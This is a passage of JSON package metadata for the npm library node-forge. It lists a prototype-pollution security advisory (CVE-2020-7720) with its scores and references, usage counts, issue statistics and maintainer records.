1.0.0"}],"purl":"pkg:npm/node-forge"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nZjhxLWpycG0tanZ4cc0hQA/related_packages","related_advisories":[]},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTkyeGotbXFwNy12bWNq","url":"https://github.com/advisories/GHSA-92xj-mqp7-vmcj","title":"Prototype Pollution in node-forge","description":"The package node-forge before 0.10.0 is vulnerable to Prototype Pollution via the util.setPath function. Note: version 0.10.0 is a breaking change removing the vulnerable functions.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2020-09-14T21:42:09.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:P/RL:O/RC:C","references":["https://nvd.nist.gov/vuln/detail/CVE-2020-7720","https://github.com/digitalbazaar/forge/blob/master/CHANGELOG.md","https://github.com/digitalbazaar/forge/blob/master/CHANGELOG.md#removed","https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-609293","https://snyk.io/vuln/SNYK-JS-NODEFORGE-598677","https://github.com/digitalbazaar/forge/commit/6a1e3ef74f6eb345bcff1b82184201d1e28b6756","https://github.com/advisories/GHSA-92xj-mqp7-vmcj"],"source_kind":"github","identifiers":["GHSA-92xj-mqp7-vmcj","CVE-2020-7720"],"repository_url":"https://github.com/digitalbazaar/forge","blast_radius":0.0,"created_at":"2022-12-21T16:13:13.973Z","updated_at":"2026-11-05T13:08:44.886Z","epss_percentage":0.03188,"epss_percentile":0.87509,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTkyeGotbXFwNy12bWNq","html_url":"https://advisories.ecosyste.ms/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTkyeGotbXFwNy12bWNq","packages":[{"ecosystem":"npm","package_name":"node-forge","versions":[{"first_patched_version":"0.10.0","vulnerable_version_range":"\u003c 0.10.0"}],"purl":"pkg:npm/node-forge"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTkyeGotbXFwNy12bWNq/related_packages","related_advisories":[]}],"docker_usage_url":"https://docker.ecosyste.ms/usage/npm/node-forge","docker_dependents_count":14673,"docker_downloads_count":4495178031,"usage_url":"https://repos.ecosyste.ms/usage/npm/node-forge","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/npm/node-forge/dependencies","status":null,"funding_links":[],"critical":true,"issue_metadata":{"last_synced_at":"2026-11-10T16:33:00.687Z","issues_count":187,"pull_requests_count":83,"avg_time_to_close_issue":28414042.673913043,"avg_time_to_close_pull_request":27394162.523809522,"issues_closed_count":46,"pull_requests_closed_count":42,"pull_request_authors_count":54,"issue_authors_count":172,"avg_comments_per_issue":1.9251336898395721,"avg_comments_per_pull_request":1.9156626506024097,"merged_pull_requests_count":13,"bot_issues_count":0,"bot_pull_requests_count":0,"past_year_issues_count":12,"past_year_pull_requests_count":25,"past_year_avg_time_to_close_issue":4463881.333333333,"past_year_avg_time_to_close_pull_request":2133554.8571428573,"past_year_issues_closed_count":3,"past_year_pull_requests_closed_count":21,"past_year_pull_request_authors_count":17,"past_year_issue_authors_count":8,"past_year_avg_comments_per_issue":1.3333333333333333,"past_year_avg_comments_per_pull_request":2.12,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":9,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/issues","maintainers":[{"login":"davidlehn","count":13,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/davidlehn"}],"active_maintainers":[{"login":"davidlehn","count":9,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/davidlehn"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/node-forge/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/node-forge/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/node-forge/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/node-forge/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/node-forge/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/node-forge/codemeta","maintainers":[{"uuid":"msporny","login":"msporny","name":null,"email":"msporny@digitalbazaar.com","url":null,"packages_count":453,"html_url":"https://www.npmjs.com/~msporny","role":null,"created_at":"2022-11-10T11:33:37.431Z","updated_at":"2022-11-10T11:33:37.431Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/msporny/packages"},{"uuid":"dlongley","login":"dlongley","name":null,"email":"dlongley@digitalbazaar.com","url":null,"packages_count":457,"html_url":"https://www.npmjs.com/~dlongley","role":null,"created_at":"2022-11-10T11:33:37.435Z","updated_at":"2022-11-10T11:33:37.435Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/dlongley/packages"},{"uuid":"davidlehn","login":"davidlehn","name":null,"email":"dil@lehn.org","url":null,"packages_count":456,"html_url":"https://www.npmjs.com/~davidlehn","role":null,"created_at":"2022-11-10T11:33:37.424Z","updated_at":"2022-11-10T11:33:37.424Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/davidlehn/packages"}]}